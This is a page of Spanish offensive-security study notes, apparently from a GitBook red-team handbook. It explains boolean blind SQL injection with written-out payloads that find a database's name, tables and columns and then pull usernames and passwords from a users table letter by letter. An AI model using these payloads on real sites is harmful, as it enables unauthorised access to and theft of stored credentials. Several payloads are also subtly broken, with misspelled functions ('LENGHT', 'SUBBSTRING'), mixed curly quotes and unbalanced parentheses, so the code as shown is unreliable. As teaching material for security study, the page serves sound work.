RED TEAM
  • Presentación
  • Apuntes Linux
  • Apuntes Blue Team
  • Apuntes Python
  • Ricardev github
  • RECON
    • OSINT
    • DESCUBRIENDO LA RED
      • NMAP NSE
    • SNIFFING
      • TCPDUMP
  • TECHNIQUES
    • FUERZA BRUTA
      • HYDRA
      • MEDUSA
      • JOHN THE RIPPER
      • NCRACK
      • RAINBOW TABLES
      • CHEATSHEET
    • CLAVES RSA DÉBILES
  • WEB HACKING
    • FUZZING
      • GOBUSTER
      • WFUZZ
      • OTRAS HERRAMIENTAS DE RECONOCIMIENTO WEB
    • OWASP TOP 10
      • A1-2017. SQL INJECTION
        • LOGIN FORM BYPASS
        • EXTRACCIÓN DE INFORMACIÓN.
        • SQLI MODIFIED HEADERS
        • BOOLEAN BLIND SQLI
        • TIME-BASED BLIND SQLI
        • AUTOMATIC INJECTION
      • A2-2017. ATAQUES A SISTEMAS DE AUTENTICACIÓN
      • A3-2017 - EXPOSICIÓN DE DATOS SENSIBLES
      • A4-2017. XXE
      • A5-2017. CONTROL DE ACCESO VULNERABLE
      • A6-2017. SEGURIDAD MAL CONFIGURADA
      • A7-2017. XSS
      • A8-2017. DESERIALIZACIÓN INSEGURA
      • A9-2017. USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS
      • A10-2017. REGISTRO Y MONITOREO INSUFICIENTE
    • SERVICIOS WEB
      • APACHE TOMCAT (RCE)
      • PRTG NETWORK MONITOR (RCE)
  • SERVICES HACKING (BOTH)
    • 20,21 - FTP
      • FTP BOUNCE ATTACK - ESCANEO
      • FTP BOUNCE ATTACK- DESCARGA DE OTRA FTP
    • 23 - TELNET
    • 25, 465 587 - SMTP
    • 111, 2049 - RPCBIND Y NFS
    • 161,162,10161,10162/udp - SNMP
      • SNMP (RCE Linux)
    • 445 - SMB
      • ETERNALBLUE
    • 3306 - MYSQL
  • SERVICES HACKING (LINUX)
    • 3632 - DISTCCD
  • SERVICES HACKING (WINDOWS)
    • 135, 539 - MSRPC
    • 389, 636 - LDAP / LDAPS
    • 1443 - MSSQL
  • ACTIVE DIRECTORY HACKING
    • CREANDO UN LABORATORIO DE AD
      • 1. Instalación de Windows Server 2016
      • 2. ROL DE ACTIVE DIRECTORY
      • 3. MALAS PRÁCTICAS NECESARIAS
    • CONCEPTOS
      • SPN Y KERBEROS
    • ENUMERACIÓN
      • BLOODHOUND
    • ATAQUES
      • SMB RELAY
      • NTLM RELAY
      • KERBEROASTING
      • AS_REP ROASTING
  • PRIVESC
    • WINDOWS
    • LINUX
      • LXD/LXC GROUP
  • EXFILTRACIÓN
    • EXFILTRANDO INFORMACIÓN
  • SHELL AND POWERSHELL TRICKS
    • Transfiriendo datos (traducir)
    • MEJORANDO SHELL A TTY INTERACTIVA (Traducir)
  • PWN LINUX
    • CREANDO UN LABORATORIO SIN MITIGACIONES
    • TEORÍA
      • ESTRUCTURA DE UN BINARIO DE LINUX
        • HERRAMIENTAS
      • ENSAMBLADOR
      • CONVENCIÓN DE LLAMADAS
      • MITIGACIONES
      • SYSCALL Y SHELLCODE
      • FORMAT STRING
      • RETURN-ORIENTED PROGRAMMING
        • GADGETS
    • ESTRATEGIAS DE EXPLOIT
      • STACK EXPLOITS
        • ATAQUE “SMASH THE STACK” SENCILLO
        • ATAQUE RET2WIN
        • ATAQUE RET2SHELLCODE
        • ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES
        • ATAQUE FORMAT STRING RET2SHELLCODE 4 BYTES
        • CANARY BYPASS
        • ATAQUE RET2LIBC
    • PRÁCTICA
      • PHOENIX
        • SETUP
        • STACK-ZERO amd64
        • STACK-ONE amd64
        • STACK-TWO amd64
        • STACK-THREE amd64
        • STACK-FOUR amd64
        • STACK-FIVE amd64
        • STACK-SIX amd64
        • FORMAT-ZERO amd64
Con tecnología de GitBook
En esta página
  • DETERMINAR EL NOMBRE DE LA BASE DE DATOS CON BOOLEAN BLIND SQL INJECTION
  • 1 Adivinar la base de datos
  • 2 Adivinar letra por letra
  • 3 Analizar el valor de la tabla ASCII de la base de datos
  • DETERMINAR LAS TABLAS CON BOOLEAN BLIND SQL INJECTION
  • DETERMINAR LAS COLUMNAS CON BOOLEAN BLIND SQL INJECTION
  • EXTRAER DATOS DE LA BASE DE DATOS CON BOOLEAN BLIND SQL INJECTION

¿Te fue útil?

  1. WEB HACKING
  2. OWASP TOP 10
  3. A1-2017. SQL INJECTION

BOOLEAN BLIND SQLI

Si el servidor no muestra los resultados de las busquedas, tendremos que utilizar este método o el siguiente para obtener los resultados.

DETERMINAR EL NOMBRE DE LA BASE DE DATOS CON BOOLEAN BLIND SQL INJECTION

En este caso, al poner una comilla simple (') la web no me da error, por lo que no puedo saber si me encuentro ante un SQL Injection.

1. Comprobamos el funcionamiento normal de la aplicacion. Este es el valor TRUE. Si la página no responde o da error, ese será el valor FALSE

2. Para comprobar si es vulnerable a SQL Injection, lanzo un valor valido y una declaracion Verdadera o, al reves, un valor invalido O una declaracion verdadera.

1 ' AND 1=1 -- -

0 ' OR 1=1 -- -

3. El problema es que el resultado de la llamada no es visible por lo que va a llevar mucho mas tiempo obtener la informacion necesaria. Existen 3 metodos:

1 Adivinar la base de datos

Es el mas complicado ya que debemos saber el nombre de la base de datos o imaginarlo.

1. Vamos a determinar la longitud del nombre de la base de datos:

1 ' AND LENGHT(database())=10 -- -

Como 1 es TRUE, si me da FALSE es que la longitud no es 10. Probamos hasta que obtenemos el numero que corresponde. (4 por ejemplo)

2. Ahora que sabemos que tiene 4 caracteres, hay que adivinar cual es esa palabra de 4 caracteres.

1 ‘ AND SUBSTRING(database(),1,4) = ’root' -- -

Si pruebo con root y me da FALSE es que no es esa la string que buscamos. Si da TRUE, vamos bien, esa es la Base de Datos que Buscamos.

2 Adivinar letra por letra

De esta manera solo vamos a necesitar reiterar hasta conseguir sacar el nombre de la base de datos, pero es 100% efectivo:

1 ‘ AND SUBSTRING(database(),1,1) = ’a' -- -

Habria que enviar ese PAYLOAD pasando por todas las letras del abecedario hasta que nos da TRUE. (primera letra = d)

1 ‘ AND SUBBSTRING(database(),2,1) = ’a' -- - (segunda letra = v)

1 ‘ AND SUBBSTRING(database(),3,1) = ’a' -- - (tercera letra = w)

1 ‘ AND SUBBSTRING(database(),4,1) = ’a' -- - (cuarta letra = a)

3 Analizar el valor de la tabla ASCII de la base de datos

Este es el metodo mas rapido y sencillo para llegar a nuestro objetivo:

1 ' AND ASCII(SUBSTRING(database(),1,1)) >= 65 AND 1 ' AND ASCII(SUBSTRING(database(),1,1)) <= 122 -- -

Voy reduciendo el rango hasta que vaya dando con la letra correcta. Utilizo prueba y error hasta que dejo un rango muy estrecho para empezar a comparar con iguales.

Hacemos lo mismo con el resto de letras y obtenemos el nombre de la Base de Datos.

DETERMINAR LAS TABLAS CON BOOLEAN BLIND SQL INJECTION

Si recordamos de antes, las tablas las podiamos obtener en un SQL injection de la siguiente manera:

SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1

El anterior Query nos permite obtener el segundo resultado de las tablas de la database()

Pero ahora lo tengo que obtener analizando los valores ASCII, por tanto, tengo que hacer lo siguiente:

1 ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1,1) > 10

De esta manera analizo los valores de la primera letra de la TABLA hasta que lo consigo y asi sucesivamente.

DETERMINAR LAS COLUMNAS CON BOOLEAN BLIND SQL INJECTION

De la misma manera que hemos hecho antes, monto el PAYLOAD para obtener las letras de la columna.

1 ‘ AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' limit 3,1),1,1) > 10

Esto se vuelve muy laborioso si no sabemos cual es la estructura de la tabla y no sabemos cual es la columna que queremos.

con limit 3,1 obtenemos la columna 4 de la tabla.

EXTRAER DATOS DE LA BASE DE DATOS CON BOOLEAN BLIND SQL INJECTION

Por ultimo, ya solo quedaria obtener los datos de las columnas.

1 ‘ AND ASCII(SUBSTRING((SELECT user FROM users limit 0,1),1,1) > 10

Ya con todos los datos, solo intentamos sacar el primer CAMPO de la COLUMNA user de la TABLA users

Como ya hemos hecho con todos los anteriores, toca hacer trabajo de chino extrayendo letra por letra el user.

1 ‘ AND ASCII(SUBSTRING((SELECT password FROM users limit 0,1),1,1) > 10

Despues habria que hacer lo mismo para obtener los datos de la password.

AnteriorSQLI MODIFIED HEADERSSiguienteTIME-BASED BLIND SQLI

Última actualización hace 3 años

¿Te fue útil?